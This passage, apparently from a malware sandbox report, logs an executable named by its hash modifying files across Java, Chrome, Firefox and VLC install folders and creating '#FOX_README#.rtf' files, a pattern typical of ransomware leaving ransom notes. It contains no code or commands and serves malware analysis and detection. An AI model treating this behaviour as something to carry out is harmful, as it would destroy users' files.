Files\Java\jdk1.8.0_66\jre\LICENSE f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\fa.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\hu\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\license.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\v8_context_snapshot.bin f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-options-keymap_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\org-netbeans-lib-profiler-ui.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\plugin.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ug\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.forms_3.6.100.v20140422-1825.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\ar.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-threaddump.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-actions_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.rcp_4.3.100.v20141007-2301.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\booklist.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.zh_CN_5.5.0.165303\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\gu.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-utilities.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\mobile_equalizer.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.launcher.win32.win32.x86_64_1.1.200.v20141007-2033\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.attributeTransformation.exsd f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\jfxswt.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.zh_CN_5.5.0.165303\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.core.di_1.4.0.v20140414-1837.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\VisualElements\Logo.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\default-browser-agent.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\META-INF\MANIFEST.MF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\config\Modules\org-netbeans-modules-profiler-snaptracer.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\javax.inject_1.0.0.v20091030.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\vlm.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\update_tracking\org-netbeans-lib-profiler.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-core-windows.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Update\Install\{0FFF632F-1073-45B0-9B63-F95E8B1E38FA}\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-modules-keyring-fallback.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.help.webapp.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\as_IN\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\[email protected] f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.actionProvider.exsd f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\currency.data f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\master_preferences f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\com-sun-tools-visualvm-application-views.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\lib\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\ext\sunjce_provider.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ui.ja_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.directorywatcher.nl_zh_4.4.0.v20140623020002.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\default_apps\drive.crx f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-print_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\hu.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\images\cursors\win32_LinkNoDrop32x32.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.rcp_5.5.0.165303\feature.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\core\locale\org-openide-filesystems_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\th\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\ext\nashorn.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.w3c.dom.events_3.0.0.draft20060413_v201105210656.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\images\Folder-48.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\README.txt f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-keyring-fallback.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\tr.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\rarrow.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.apache.jasper.glassfish_2.2.2.v201205150955.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\ktab.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4-dark_mac.css f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-core-multitabs.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\mr.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\alert_obj.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-openide-nodes_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\security\java.security f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\date-span-16.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\javax.el_2.2.0.v201303151357.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-jvmstat_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-openide-windows.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\precomplete f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\gl\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\schema\com.jrockit.mc.rjmx.syntheticnotification.exsd f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\soundcloud.luac f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\ext\meta-index f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\feedbck2.gif f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-api-visual.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\deploy\messages_ja.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\ECLIPSE_.RSA f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\ECLIPSE_.SF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\idlj.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.garbagecollector_1.0.200.v20131115-1210.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Mozilla Firefox\install.log f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\messages_es.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-core-output2.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\lib\locale\org-openide-util-lookup_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.zh_CN_5.5.0.165303\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-heapwalker.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derbyLocale_ko_KR.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\wsimport.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy\messages_it.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.diagnostic_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ql_2.0.100.v20131211-1531.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\dialogs\batch_window.html f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-javahelp.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\feature.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\deploy.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-uisupport.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\lib\ext\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-api-annotations-common_ja.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jre1.8.0_66\lib\sound.properties f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\VisualElements\LogoCanary.png f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.ui_5.5.0.165303.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-openide-explorer.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\es.pak f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\tzmappings f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\bin\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\jfr\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\elevation_service.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\bin\servertool.exe f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\db\lib\derbyLocale_pt_BR.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-oql.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.bidi_0.10.0.v20130327-1442.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\config\Modules\org-netbeans-api-annotations-common.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-core-ui_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\NewFormat.mp3 f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\et\LC_MESSAGES\vlc.mo f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\org-netbeans-modules-editor-mimelookup-impl.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\update_tracking\org-netbeans-swing-tabcontrol.xml f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\ECLIPSE_.RSA f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\META-INF\ECLIPSE_.SF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host_zh_CN.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.equinox.app_1.3.200.v20130910-1609.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\jre\lib\ext\dnsns.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\MANIFEST.MF f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\javax.servlet_3.0.0.v201112011016.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.core.runtime_3.10.0.v20140318-2214.jar f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-modules-templates_zh_CN.jar 